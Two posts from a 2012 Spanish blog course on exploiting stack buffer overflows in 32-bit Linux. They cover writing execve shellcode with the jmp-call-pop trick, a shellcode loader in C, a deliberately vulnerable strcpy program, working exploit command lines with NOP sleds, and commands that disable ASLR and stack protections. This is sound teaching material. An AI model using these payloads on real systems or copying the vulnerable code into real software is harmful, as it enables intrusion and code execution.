miércoles, 19 de septiembre de 2012

Minicurso de exploiting (parte 10): Shellcodes y técnicas de programación de shellcodes 1

En la última entrada, después de mucho lío, vimos cómo explotar un bof e inyectar código en el proceso para posteriormente ejecutarlo, consiguiendo que el programa dejara de hacer lo que se suponía debía hacer para hacer lo que nosotros queríamos que hiciera. En el caso que mostré ejecutamos una calculadora, algo divertido pero poco útil. En esta entrada veremos que es lo más común que se suele ejecutar cuando se explota un bof (una shellcode) y cómo hacerlas.

Lo primero es saber qué es una shellcode, como el propio nombre indica una shellcode es básicamente un pequeño programa que ejecuta una shell. El ejemplo más típico es el siguiente:

#include <unistd.h>

int main(int argc, char *argv[]) {
    char *args[2] = { "/bin/bash", NULL };
    execve(args[0], args, NULL);
}


Algo tan simple como eso ya nos da una shell. Aun así no nos vale crear este programa e inyectarlo, como vimos en la entrada anterior sólo nos interesan los bytes que corresponden a las instrucciones que hacen la llamada a la shell. También vimos que no siempre se puede inyectar cualquier cosa, hay ciertas características que se deben cumplir para que la shellcode pueda ser inyectada, como por ejemplo que no tenga bytes nulos, pero esto no es lo único. He aquí una serie de restricciones y características que la shellcode debería cumplir.
  1. No contener bytes nulos.
  2. No contener saltos de línea.
  3. Ser "relocatable".
  4. Poner bytes nulos al final de las strings.
  5. No hacer uso de bibliotecas.
  6. Ser lo más pequeña posible.
  7. Nopsleds.
Veamos ahora más detenidamente qué significa cada uno de estos puntos y cómo aplicarlos a una shellcode de verdad.

No contener bytes nulos

El motivo de esta restricción ya lo vimos en la entrada anterior. Funciones como strcpy() o strcat(), susceptibles a bof, sólo copian hasta el primer byte nulo que encuentren. Si nuestra shellcode llevara bytes nulos sólo se inyectarían los bytes de la shellcode que estén antes que el primero de estos bytes nulos y por lo tanto se quedaría incompleta. Para evitar la introducción de estos bytes hay que analizar la shellcode una vez programada y jugar con ella para quitarlos. Es un proceso bastante artístico aunque debido a que las shellcodes en general suelen ser reducidas, resulta bastante fácil atacar este problema. En general sólo necesitamos poner registros a cero o poner algún byte a cero en alguna parte de la memoria. Para poner registros a cero podemos usar el truco de "xorear" el registro consigo mismo. Y para poner algún cero en cierta parte de la memoria, en vez de poner una instrucción que hace uso del literal $0x0, podemos xorear un registro y luego mover su contenido, o poner en un registro un número, luego restar ese mismo número y luego mover a memoria. En definitiva, hay muchas formas de lograrlo.

No contener saltos de línea

Esta restricción es igual que la de los bytes nulos pero si la función que se va a explotar es gets(). Esta función no se detiene con el byte nulo sino con el salto de línea o un EOF. En UNIX el salto de línea es sólo '\n' = \xa, en Windows es '\r\n' = \xd\xa, y en MacOS es '\r' = \xd. Ojito con el sistema que estés explotando. Al igual que en el caso anterior, tendremos que analizar los bytes de la shellcode y eliminar la secuencia de salto de línea allí donde se dé (si es que se da).

Ser "relocatable"

Esto ya es más interesante, como vimos en la entrada anterior la shellcode es inyectada en una zona de memoria que en principio no conocemos y recurrimos al GDB para mirar las direcciones donde iba cayendo para sustituir en el código de la shellcode todas aquellas referencias a memoria (que marcabamos en principio con \xeeeeeeee y \xdddddddd) por las direcciones necesarias. Sobra decir que eso es algo muy feo y poco práctico. Para empezar es un coñazo estar teniendo que entrar siempre al GDB y hacer cálculos de dónde cae cada cosa de la shellcode. Por otro lado eso es algo nada práctico puesto que podría ocurrir (y ocurrirá) que las direcciones de memoria donde caiga la shellcode no sean las mismas dentro de gdb que fuera. Se hace necesario pues, una técnica para hacer que caiga donde caiga la shellcode, pueda seguir haciendo su trabajo.

Para este cometido existe un truco muy conocido y que a mi me encanta, no es complicado, funciona para cualquier dirección de memoria y me parece muy elegante (¡el que lo inventó es un artista!). Se trata de hacer un jmp-call-pop, veámoslo in situ.

.globl main

main:
    jmp trick
shellcode:
    popl %ebx
    /* Resto del codigo. */

trick:
    call shellcode

.string "/bin/sh"

Aquí tenemos lo que podría ser el esqueleto de nuestra primera shellcode con el truco del jmp-call-pop. Cuando este código empiece, lo primero que se hará será ejecutar el jmp que redigirá el flujo al call (al final del código y justo antes de los datos). A su vez el call volverá a redirigir el flujo de ejecución arriba a la siguiente instrucción al jmp, el pop. Recordemos que una de las cosas que hace call además de cambiar el EIP es pushear a la pila la dirección de retorno. ¿Cuál sería la dirección de retorno en este caso?, pues la de la siguiente instrucción al call, la instrucción que se formará con los primeros bytes de la cadena "/bin/sh". Nos da igual cual sea, pero luego sacaremos de la pila con el pop y conseguiremos que el registro EBX apunte a "/bin/sh" :).

A partir de este punto ya no hay necesidad de que el código haga referencias directas a los datos, sino hacer referencias indirectas en base al registro EBX. Completemos esta shellcode.

.globl main

main:
    jmp trick
shellcode:
    popl %ebx

    xorl %ecx, %ecx
    xorl %edx, %edx
    movb $0xb, %al
    int $0x80

trick:
    call shellcode

.string "/bin/sh"

No tiene ningún misterio, compilamos y ejecutamos para confirmar su funcionamiento.

$ gcc -o shellcode1 shellcode1.s 
$ ./shellcode1 
$ env
PWD=/path
$ exit
exit
$

Hasta aquí todo bien, vemos que la shellcode funciona como programa en sí mismo, pero ahora tenemos que coger sólo los bytes que nos interesa inyectar, no todo el binario como hemos explicado anteriormente.

$ objdump -d shellcode1 | egrep -A17 "<main>"
080483b4 <main>:
 80483b4:    eb 0b                    jmp    80483c1 <trick>

080483b6 <shellcode>:
 80483b6:    5b                       pop    %ebx
 80483b7:    31 c9                    xor    %ecx,%ecx
 80483b9:    31 d2                    xor    %edx,%edx
 80483bb:    31 f6                    xor    %esi,%esi
 80483bd:    b0 0b                    mov    $0xb,%al
 80483bf:    cd 80                    int    $0x80

080483c1 <trick>:
 80483c1:    e8 f0 ff ff ff           call   80483b6 <shellcode>
 80483c6:    2f                       das  
 80483c7:    62 69 6e                 bound  %ebp,0x6e(%ecx)
 80483ca:    2f                       das  
 80483cb:    73 68                    jae    8048435 <__libc_csu_init+0x65>
 80483cd:    00 90 90 55 57 56        add    %dl,0x56575590(%eax)

En negrita están los bytes que pertenecen a la shellcode. Un detalle que quiero resaltar de lo que aquí se ve es la codificación de los saltos que ha usado GCC. Fijémonos por ejemplo en el jmp del principio, \xeb\x0b. No vamos a desglosarlo a nivel de bits porque nos llevaría bastante tiempo. Asumamos que el byte \xeb es el opcode de x86 para un salto incondicional (esto no es verdad, todos los bits que ahí se encuentran significan mucho más), el byte \x0b viene a ser "la cantidad de bytes a desplazarse a partir de la siguiente instrucción". Así pues, si contamos a partir del byte \x5b de la siguiente instrucción 11 bytes, veremos que acabamos en el byte \xe8 que es el comienzo de la instrucción call. ¿Y para qué todo esto?. En este caso GCC ha usado un direccionamiento relativo para codificar los saltos (también con el call, vemos que usa un número negativo 0xfffffff0), pero esto no tiene por qué ser así siempre. En x86 también se puede codificar los saltos con direccionamiento directo, hardcodeando en la instrucción la dirección a saltar. Cuidado con como se comporta el compilador que estemos usando, comprobemos esto después de compilar las shellcodes.

Poner bytes nulos al final de las strings

En general nuestras shellcodes utilizarán algunas strings, en el caso que estamos viendo tenemos "/bin/sh", pero ¿qué pasa si queremos utilizar más strings?. Vamos a irlo explicando con un ejemplo.

Imaginemos que queremos pasarle parámetros a la shell, en concreto "-c "echo hola"", para que simplemente ejecute ese comando y termine. Para ello necesitamos que el registro ECX contenga el vector con las strings de los parámetros... hablando en C esto significa que ECX debe contener un puntero que apunta a un vector de punteros a strings... lioso, veamos el gráfico para aclararlo.


Esta es la estructura que deberá haber a partir de ECX (el puntero a los parámetros de la llamada al sistema sys_execve) para la correcta ejecucción. No nos olvidemos que el primer parámetro es el propio nombre del programa y que este vector debe terminar con un puntero nulo debido a que sys_execve no tiene un parámetro para indicar el tamaño de éste. Por desgracia estos datos no pueden ir tal cual en la shellcode, ya que las strings deben terminar con el byte nulo y nosotros no podemos poner este byte.

En este caso lo que se hace es poner otro byte y meter lógica adicional en la shellcode para que antes de llamar a sys_execve, se pongan en esos bytes un nulo. Veámoslo en la práctica.

USE32

main:
    jmp trick
shellcode:
    ; Prepara EBX, EDX y ESI
    pop ebx
    xor eax, eax
    xor edx, edx
    xor esi, esi

    ; Mueve a XXXX la direccion de /bin/sh
    mov edi, ebx
    mov ecx, edi
    add cl, 21
    mov [ecx], edi

    ; Pone un byte nulo en A
    add edi, 7
    mov [edi], dl

    ; Mueve a YYYY la direccion de -c
    inc edi
    mov [ecx+0x4], edi

    ; Pone un byte nulo en B
    add edi, 2
    mov [edi], dl

    ; Mueve a ZZZZ la direccion de echo hola
    inc edi
    mov [ecx+0x8], edi

    ; Pone byte nulo en C
    add edi, 9
    mov [edi], dl

    ; Pone a nulo los bytes con 0000
    mov [ecx+0xc], edx

    ; sys_execve
    mov al, 0xb   
    int 0x80

trick:
    call shellcode

db "/bin/shA-cBecho holaCXXXXYYYYZZZZ0000"

¡Hey, ¿qué es todo esto?!. No pasa nada, como llegados a este punto hemos hecho los deberes, y dado que ya vimos en cierto momento algo de las diferencias entre la sintaxis AT&T e Intel, pues entendemos esto perfectamente }:-).

El cambio este se debe a que voy a usar otro programa para la compilación y así de paso vamos haciendo ciertas tareas más fáciles. Lo que aquí presento no es más que la shellcode de antes, pero con los trucos y técnicas que hemos ido viendo. Vemos que tiene el jmp-call-pop para la "relocatabilidad". Al final vemos que los datos son "/bin/shA-cBecho holaCXXXXYYYYZZZZ0000". La lógica del programa aunque algo extensa, no es complicada. A saber, el vector con las direcciones a strings sera la zona de memoria que contiene "XXXXYYYYZZZZ0000", dado que estoy en una máquina de 32 bits, las direcciones serán de 32 bits (4 bytes) así que XXXX será una, YYYY otra y ZZZZ otra, respectivamente serán la dirección a "/bin/sh", "-c" y "echo hola". He puesto comentarios en el código para que se pueda seguir con relativa facilidad. Dejo al lector la tarea de comprender "byte a byte" el programa.

Este programa no lo compilare con GCC y no lo voy a ejecutar, ya que va a producir una violación de segmento, ¿por qué? porque todo eso estará contenido en zona de código (.text), incluida toda la string del final. Como ya sabemos esa zona de memoria no tiene permisos de escritura. Este programa intentará escribir en A, B, C, XXXX, YYYY, ZZZZ y 0000, pero no podrá.

La cosa se complica a la hora de depurar shellcodes, puede ser un trabajo pesado así que en su momento me programé un pequeño programa para hacer algo más fácil esta tarea (seguramente hay programas mejores para hacer estas cosas, pero yo no los conozco). Se trata de un pequeño programa que lee los bytes de la shellcode de un fichero, los pone en el heap (tiene todos los permisos) y luego salta allí. Este es el programa.

/*
 * Program for debug shellcodes.
 *
 * Author: Ole.
 */

#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define    N_PARMS    (2)
#define    ERRCODE    (0x01ec0ded)

int main(int argc, char *argv[]) {
    int fd, remaining_bytes, offset;
    struct stat shell_stat;
    off_t len_shellcode;
    void *(*shellcode)();
    ssize_t bytes_read;

    if (argc != N_PARMS)
        fprintf(stderr, "Usage: %s <shellcode>\n", argv[0]), exit(ERRCODE);

    if (stat(argv[1], &shell_stat) == -1)
        fprintf(stderr, "Error stat().\n"), exit(ERRCODE);

    len_shellcode = shell_stat.st_size;
    if ((shellcode = malloc(len_shellcode + 1)) == NULL)
        fprintf(stderr, "Error malloc().\n"), exit(ERRCODE);
    memset(shellcode, 0, len_shellcode + 1);

    if ((fd = open(argv[1], O_RDONLY)) == -1)
        fprintf(stderr, "Error open().\n"), exit(ERRCODE);

    remaining_bytes = len_shellcode;
    offset = 0;
    bytes_read = read(fd, ((char *)shellcode) + offset, remaining_bytes);
    while (bytes_read != -1 && bytes_read != 0) {
        remaining_bytes -= bytes_read;
        offset += bytes_read;
        bytes_read = read(fd, (char *)shellcode + offset, remaining_bytes);
    }

    close(fd);
    if (bytes_read == -1)
        fprintf(stderr, "Error read().\n"), exit(ERRCODE);

    shellcode();
    return 0;
}


No me voy a parar aquí a analizarlo (aunque si te pones seguro que no te cuesta mucho entenderlo), el código lo puedes descargar de aquí.

El fichero que se le pasa no debe ser un ejecutable (no vale el programa producido por GCC), sino que debe ser estrictamente los bytes que componen nuestra shellcode. Es por ello que ahora he escrito la shellcode para nasm (netwide assembler), otro compilador muy útil para escribir shellcodes. Por defecto nasm produce un fichero que contiene solamente los bytes de nuestra shellcode :). Veámoslo un poco por las tripas.

$ nasm shellcode1.asm -o shellcode1nasm 
$ hexdump -C shellcode1nasm
00000000  eb 2e 5b 31 c0 31 d2 31  f6 89 df 89 f9 80 c1 15  |..[1.1.1........|
00000010  89 39 83 c7 07 88 17 47  89 79 04 83 c7 02 88 17  |.9.....G.y......|
00000020  47 89 79 08 83 c7 09 88  17 89 51 0c b0 0b cd 80  |G.y.......Q.....|
00000030  e8 cd ff ff ff 2f 62 69  6e 2f 73 68 41 2d 63 42  |...../bin/shA-cB|
00000040  65 63 68 6f 20 68 6f 6c  61 43 58 58 58 58 59 59  |echo holaCXXXXYY|
00000050  59 59 5a 5a 5a 5a 30 30  30 30                    |YYZZZZ0000|
0000005a

Podemos ver gracias a hexdump que efectivamente lo producido son los bytes de nuestra shellcode. Usando ahora el programa que comenté antes vamos a ejecutar esta shellcode.

$ ./shellcodes-dbg shellcode1nasm
hola

Y efectivamente vemos que obtenemos lo que esperábamos. Comentar también que la mayor utilidad del programa que he presentado es para ejecutarlo desde dentro del gdb y poder seguir instrucción a instrucción lo que está haciendo nuestra shellcode.

No hacer uso de bibliotecas

El motivo de esta restricción ya la hemos comentado, estamos inyectando la shellcode en un entorno desconocido (el mapa de memoria de otro proceso). Por lo tanto no sabemos qué bibliotecas están enlazadas al proceso en ese momento y por lo tanto no debemos hacer uso de funciones a las que estamos muy constumbrados como printf().

Aun así ya veremos más adelante (para bypassear exec-shield) que esto no siempre es verdad, y que a veces sí podemos aprovecharnos de bibliotecas externas, aunque por ahora no lo haremos y en general debemos tener cuidado con esto. Hay que ser consciente del entorno donde estamos, el limbo de las shellcodes, un mapa de memoria desconocido y hostil.

Pero esto no es problema, las funciones de biblioteca realmente interesantes acaban siendo wrappers a llamadas al sistema, así que simplemente tenemos que llamar nosotros directamente. Esto ya lo hemos estado haciendo, hemos llamado a sys_execve todo este tiempo. El problema de esto es que tendremos que conocer las llamadas al sistema, pero eso sólo hace de toda esta disciplina algo más interesante :).

Ser lo más pequeña posible

Podríamos desarrollar shellcodes con montón de funcionalidades, pero todo eso es lógica adicional y por lo tanto bytes adicionales. Los buffers a explotar no tienen por qué ser grandes. Si la distancia entre el comienzo de ese buffer y la dirección de retorno a sobreescribir es menor que el tamaño de nuestra shellcode no podremos explotar el bof correctamente, ya que parte de nuestro código acabará en la dirección de retorno. Por ello es interesante desarrollar shellcodes pequeñas, que quepan en el menor espacio posible, de forma que nos permitan explotar bofs con bufferes (¿bufferes debería llevar tilde?) muy pequeños.

Para dotar de más funcionalidad a nuestra shellcodes podemos utilizar (que a mi se me ocurra) una shellcode en "dos tiempos", como el grub. Primero un código muy simple que explota el bof y toma el control y que luego carga el resto del código (se lo pide a la máquina que ha realizado la explotación). No lo sé porque no lo he analizado por dentro, pero seguramente meterpreter (metasploit interpreter) haga algo así.

Nopsleds

Antes de presentar esta técnica/solución voy a presentar el problema al que ayuda, ya que hasta ahora no lo hemos visto. En la entrada anterior ejecutamos la shellcode (la calculadora) desde el GDB, en ningún momento llegue a hacerlo desde el exterior. Vamos ahora a hacerlo. Recordemos el entorno.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char buffer[128];

    if (argc != 2)
        printf("Usage: %s <param>\n", argv[0]), exit(-1);

    strcpy(buffer, argv[1]);
    return 0;
}

Bof de libro, se sobreescribe la dirección de retorno desde los 140 bytes compilando con los flag -fno-stack-protector -zexecstack para quitar las protecciones.

Vamos ahora a usar una shellcode usando todo lo que hemos aprendido hasta ahora.

USE32

main:
    jmp trick
shellcode:
    pop ebx
    xor eax, eax
    xor edx, edx
    xor esi, esi

    ; Poner \0 en el primer 0
    mov [ebx+0x7], dl

    ; Poner 0x00000000 en los 0000 finales
    mov [ebx+0xc], edx

    ; Poner direccion de /bin/sh en XXXX
    mov ecx, ebx
    add ecx, 0x8
    mov [ecx], ebx

    ; sys_execve
    mov al, 0xb
    int 0x80

trick:
    call shellcode

db "/bin/sh0XXXX0000"

Ahora desde el GDB vamos a hacer la explotación, voy a hacerlo rápido ya que conozco muchos detalles de este programa ya (0xbfffff290, la shellcode pesa 47 bytes).

$ gdb -q bof
Reading symbols from /path/bof...(no debugging symbols found)...done.
(gdb) r "`cat shellcodes/shellcode1nasm; perl -e 'print "A"x93 . "\x90\xf2\xff\xbf"'`"
Starting program: /path/bof "`cat shellcodes/shellcode1nasm; perl -e 'print "A"x93 . "\x90\xf2\xff\xbf"'`"
process 14556 is executing new program: /bin/dash
$ whoami
ole
$ exit
[Inferior 1 (process 14556) exited normally]

Sé que el comando (en negrita) ese puede resultar algo esotérico, pero mi recomendación es hacerlo así. A veces podemos tener un problema a la hora de pasar nuestra shellcode a través de parámetros y es que, si contiene bytes que bash considera "separadores de palabras" (espacios, tabulaciones, saltos de línea), nos la puede jugar y hacernos bastante difícil la depuración del problema. La forma en la que aquí hago para que bash considere todo una única string es encerrarlo todo entre comillas dobles... hay algo que me resulta curioso, no me ha hecho falta escapar las comillas dobles que uso para las Aes y la dirección de retorno... Pues eso, que cuidado con lo que escribimos, asegúrate de entenderlo todo, o lo que es lo mismo, de ser consciente de que no lo entiendes todo y que si tienes problemas pueden venir de cualquier lado.

Volviendo a la ejecución, hemos visto que efectivamente se ha ejecutado una consola (/bin/sh es un enlace simbólico a /bin/dash en este caso). Sin embargo si probamos lo mismo fuera del GDB (como sería un escenario más normal) no tendremos éxito.

$ ./bof "`cat shellcodes/shellcode1nasm; perl -e 'print "A"x93 . "\x90\xf2\xff\xbf"'`"
Segmentation fault (core dumped)

Y después de un montón de lío, llegamos al problema que intenta solucionar los nopsleds (lo siento, pero había que introducirlo para entenderlo). Este segmentation fault se debe a que el buffer ha cambiado de dirección, ya no está en 0xbffff290. Para demostrarlo vamos a hacer una pequeña modificación al programa con bof para que muestre la dirección del buffer.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char buffer[128];

    printf("Buffer addr: %p\n", buffer);

    if (argc != 2)
        printf("Usage: %s <param>\n", argv[0]), exit(-1);

    strcpy(buffer, argv[1]);
    return 0;
}

Compilamos y ejecutamos unas cuantas veces.

$ gcc -fno-stack-protector -zexecstack -o bof2 bof2.c  
$ ./bof2
Buffer addr: 0xbfd5a810
Usage: ./bof2 <param> 
$ ./bof2
Buffer addr: 0xbfaf8040
Usage: ./bof2 <param> 
$ ./bof2
Buffer addr: 0xbfeed690
Usage: ./bof2 <param> 
$ ./bof2
Buffer addr: 0xbfd57220
Usage: ./bof2 <param>

Como vemos, la dirección de buffer está cayendo cada vez en direcciones distintas, y lo que es peor, direcciones bastante alejadas entre sí. Esto es debido a que tenemos activo ASLR (Address Space Layout Randomization), el cometido de esta técnica es aleatorizar las regiones de memoria de los procesos de forma que en cada ejecución estén en direcciones distintas, precisamente para dificultar la explotación de bofs. Ya veremos más adelante técnicas para bypassear ASLR (¡que guay!), pero por ahora sólo vamos a desactivarlo.

$ sudo sysctl -w kernel.randomize_va_space=0

Dentro de GDB no hay ASLR, por eso nunca nos variaba la dirección del buffer (0xbffff290). Probemos ahora a volver a ejecutar el programa.

$ ./bof2
Buffer addr: 0xbffff380
Usage: ./bof2 <param>
ole@ubuntu:~/Desktop/curso exploiting$ ./bof2
Buffer addr: 0xbffff380
Usage: ./bof2 <param>
ole@ubuntu:~/Desktop/curso exploiting$ ./bof2
Buffer addr: 0xbffff380
Usage: ./bof2 <param>

Aquí quiero hacer notar dos cosas. La primera y más obvia es que el buffer ahora está siempre en la misma dirección ya que no hay ASLR. La segunda, también bastante obvia, es que el buffer no está en la misma dirección que dentro de GDB. Cuando explotamos un bof dentro del GDB luego hay que averiguar dónde está el buffer sin GDB de por medio. En este caso ya lo sabemos porque tenemos el código fuente del programa y lo hemos podido modificar, pero esto no siempre es así.

Esto puede ser un dolor de cabeza sobre todo si no podemos depurar el programa y tenemos que empezar a probar direcciones a lo bruto, ya que para que nuestra shellcode funcione tenemos que saltar exactamente a la dirección donde se encuentra el buffer. Para colmo esta dirección no va a ser siempre la misma en diferentes ejecuciones, puede variar y esto es otro problema más. La posición del buffer a explotar dependerá de cuánta información haya en la pila antes de la ejecución de la función que contiene el buffer a explotar. En este caso es un entorno muy controlado, main(), pero imaginate la situación si hubiera recursividad dependiente de un parámetro que nosotros no controlamos. Averiguar la dirección exacta del buffer podría llegar a ser un sufrimiento. La dirección del buffer también depende entre otras cosas, de los parámetros de main(), recordemos que como a cualquier otra función, main() tiene sus parámetros antes de la dirección de retorno, del saved ebp y del espacio dedicado a variables locales. Veámoslo.

$ ./bof2 "`cat shellcodes/shellcode1nasm; perl -e 'print "A"x93 . "\x80\xf3\xff\xbf"'`"
Buffer addr: 0xbffff2e0
Segmentation fault (core dumped)

Pensar que sobreescribiendo la dirección de retorno por la dirección que vimos antes ya ejecutaríamos la shellcode no es correcto, ya que ahora el buffer está en 0xbfffff2e0. Esto es debido a que antes no pasamos argumentos al programa y ahora sí y además uno bastante grande. Evidentemente ahora sí conocemos la dirección a saltar.

$ ./bof "`cat shellcodes/shellcode1nasm; perl -e 'print "A"x93 . "\xe0\xf2\xff\xbf"'`"
$ whoami
ole
$ exit


Ahora sí hemos conseguido ejecutar la shellcode desde el exterior, pero claro, conociamos la dirección del buffer y hemos pasado en ambos casos el mismo tamaño de parámetros. Una de las cosas que hay que hacer notar es que incluso el nombre del programa influye en la posición del buffer. Recordemos que uno de los parámetros que se le pasa a main es argv, en cuya primera posición está el nombre del programa. Esto significa que si ejecutaramos el mismo programa pero llamándolo "programa_con_nombre_muy_largo" en vez de "bof", también influiría en la posición del buffer.

Pero no todo son malas noticias. Muchas veces la posición no varia tanto, unos cuantos bytes digamos (como ha sido el caso anterior, 0xbffff380 - 0xbffff2e0 = 160 bytes). En estos casos podemos aprovecharnos de la técnica de rellenar el comienzo del buffer con un nopsled y poner al final nuestra shellcode. Básicamente de lo que se trata es de poner un montón de instrucciones nop al comienzo del buffer, luego aunque no conozcamos la posición exacta del comienzo del mismo, si conocemos más o menos por donde cae pues saltamos por ahí y probamos suerte. Si caemos en medio del nopsled empezarán a ejecutarse nops hasta llegar a la shellcode real. Esta técnica básicamente es poner un "colchón" delante de la shellcode y "saltar por ahí más o menos". Veámoslo desde dentro.

$ gdb -q bof
Reading symbols from /path/bof...(no debugging symbols found)...done.
(gdb) br *main+71
Breakpoint 1 at 0x804848b
(gdb) r "`perl -e 'print "\x90"x93'; cat shellcodes/shellcode1nasm; perl -e 'print "\xe0\xf2\xff\xbf"'`"
Starting program: /path/bof "`perl -e 'print "\x90"x93'; cat shellcodes/shellcode1nasm; perl -e 'print "\xe0\xf2\xff\xbf"'`"

Breakpoint 1, 0x0804848b in main ()
(gdb) nexti
0x08048490 in main ()
(gdb) x/40xw $esp
0xbffff280:    0xbffff290    0xbffff561    0x00000001    0xb7ebc1f9
0xbffff290:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff2a0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff2b0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff2c0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff2d0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff2e0:    0x90909090    0x90909090    0x90909090    0x5b18eb90
0xbffff2f0:    0xd231c031    0x5388f631    0x0c538907    0xc183d989
0xbffff300:    0xb0198908    0xe880cd0b    0xffffffe3    0x6e69622f
0xbffff310:    0x3068732f    0x58585858    0x30303030    0xbffff2e0


Vemos que hay un montón de bytes \x90 (instrucción nop en x86) al principio del buffer. Podríamos saltar a cualquiera de ellos y simplemente se empezarían a ejecutar uno detrás de otro sin hacer nada hasta llegar al byte \xeb del jmp, donde realmente comienza el trabajo. Un detalle, esto que he puesto es lo que realmente ejecuté mientras escribía esta parte de la entrada. No me di cuenta y no sustituí la dirección de retorno a sobreescribir, dejando la de los ejemplos anteriores (0xbffff2e0) a pesar de que ahora el buffer está en otro lado (0xbffff290), pero precisamente gracias al nopsled la explotación será exitosa :).

(gdb) cont
Continuing.
process 3311 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
$ exit
[Inferior 1 (process 3311) exited normally]


Siento que la explicación de este último apartado haya sido tan larga pero como ya he dicho anteriormente, quiero analizar hasta el último detalle y eso implica conocer los problemas y probarlos de verdad.

Bueno, ésta ha sido una entrada realmente larga y con un montón de conceptos a masticar con mucha tranquilidad, pero creo que podemos sacar bastantes cosas de provecho. Para empezar ya estamos empezando a explotar un bof (sin protecciones) sin el GDB. Además ahora tenemos un pequeño repertorio de shellcodes, ¿no? :).

Saludos.

lunes, 10 de septiembre de 2012

Minicurso de exploiting (parte 9): Inyectando código en un proceso

En la entrada anterior descubrimos gran parte del pastel que hay detrás de la explotación de los procesos. La gran conclusión fue que, si tenemos un bof, podremos sobreescribir la dirección de retorno contenida en el stack frame. Evidentemente no es algo tan sencillo en el mundo real, existen muchas protecciones que actualmente se aplican y que están orientadas únicamente a evitar la explotación de buffer overflows. Hemos comentado algunas (canaries, exec-shield, aslr...), incluso llegamos a ver que el GCC de Ubuntu utilizaba por defecto la técnica de stack-protector basada en canaries.

Es bastante jodido intentar meterse en el mundo del exploiting por cuenta propia con toda esa cantidad de protecciones usándose a la vez, y ese es precisamente uno de los principales motivos por los que estoy haciendo este curso y cómo lo estoy enfocando. Intento ir desde cómo se explotaban los programas hace años e intentaré llegar a cómo se explotan actualmente (dentro de los límites de lo que yo mismo conozco... espero que escribir esto me anime a seguir aprendiendo).

Volviendo al curso, en la última entrega hicimos algo muy simple, ejecutar una función que ya estaba en el código. Evidentemente esto no suele ser lo normal, no solemos disponer de lo que queremos ejecutar en el código de los programas. Es muy típico entre los exploiters más reconocidos del mundo hacer que sus exploits de demostración ejecuten la calculadora de Windows (cuando explotan sobre Windows claro). Ya nos estaremos imaginando que esto no es algo que lleven los programas metidos dentro, sino que de alguna forma el exploiter logra hacer que el programa explotado haga eso. Esto se consigue inyectando el código que hace ejecutar la calculadora dentro del proceso y luego llamando a ese código. ¿Y cómo se hace esto? Eso es lo que vamos a tratar en esta entrada.

Recordemos en qué punto estamos.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char buffer[128];

    if (argc != 2)
        printf("Usage: %s <param>\n", argv[0]), exit(-1);

    strcpy(buffer, argv[1]);
    return 0;
}

Tenemos el bof de libro y sabemos que a partir del byte 141 empezaremos a sobreescribir la dirección de retorno (y si no nos acordamos pues lo miramos un momentito con el gdb y listo). Hasta ahora habíamos metido un montón de Aes hasta llegar a la dirección de retorno, pero esto cambia aquí. Ahora lo que vamos a hacer es inyectar en ese espacio el código necesario para ejecutar la calculadora y luego saltaremos ahí. Esto básicamente en la inyección de código.

¿Qué necesitamos? Bueno, pues el código que ejecute la calculadora. ¿Qué hace falta para ejecutar un programa? la llamada al sistema que lo permite, en nuestro caso es sys_execve. Nuevo grado de dificultad, ahora hay que empezar a conocer las syscalls y cómo llamarlas. Generalmente no llamamos a estas funciones directamente, sino que llamamos a funciones de bibliotecas que hacen de interfaz entre nuestros programas y el sistema. Bueno pues vamos a dejar de hacer eso por un momento y vamos a crear código que trata con el kernel directamente. Esto lo hacemos así debido a que, como vamos a inyectar ese código en otro proceso, no sabemos que bibliotecas usa y por lo tanto no podemos depender de ellas... aunque en un futuro veremos que no siempre es cierto, pero de momento vamos a trabajar así.

Para tratar con estas cosas necesitamos conocer las llamadas al sistema que nos ofrece Linux, aquí teneis una lista con las más importantes, aunque los parámetros que ahí se describen no siempre son correctos. De hecho para este primer ejemplo nos puede confundir. La llamada al sistema que necesitamos es sys_execve (la que ejecuta programas), en esa página pone que tiene un único parámetro de tipo struct pt_regs. Si nos vamos a Linux cross reference, en mi opinión, muy buena para ver el código fuente de Linux y buscamos la función sys_execve() para la versión de kernel que estoy ejecutando.

$ uname -r
3.2.0-29-generic-pae

Veremos lo siguiente.
 306long sys_execve(const char __user *name,
 307                const char __user *const __user *argv,
 308                const char __user *const __user *envp, struct pt_regs *regs)
 309{

Tiene 3 parámetros antes del struct pt_regs, la ruta del programa a ejecutar, los parámetros del mismo y el entorno. Vamos a ir conociendo qué debemos pasarle.

$ whereis gcalccmd
gcalccmd: /usr/bin/gcalccmd /usr/bin/X11/gcalccmd /usr/share/man/man1/gcalccmd.1.gz

El binario del programa está en /usr/bin/gcalccmd. He elegido este y no gcalctool (la versión gráfica) porque voy a hacer el ejemplo lo más sencillo posible, así que a la hora de ejecutar no pasaré entorno y eso dará problemas con la versión gráfica, así que me quedo con la de consola. Empecemos pues con el programa (en ensamblador :D) que ejecuta la calculadora.

.globl main

main:
    /* 
     * No sabemos la dirección de la string del final,
     * lo rellenamos con 0xff y luego miraremos dónde cae.
     */
    movl $0xffffffff, %ebx

    /* argv, envp y regs == NULL. */
    xorl %ecx, %ecx
    xorl %edx, %edx
    xorl %esi, %esi

    /* Hacemos la llamada a sys_execve. */
    movb $0xb, %al
    int $0x80

.string "/usr/bin/gcalccmd"

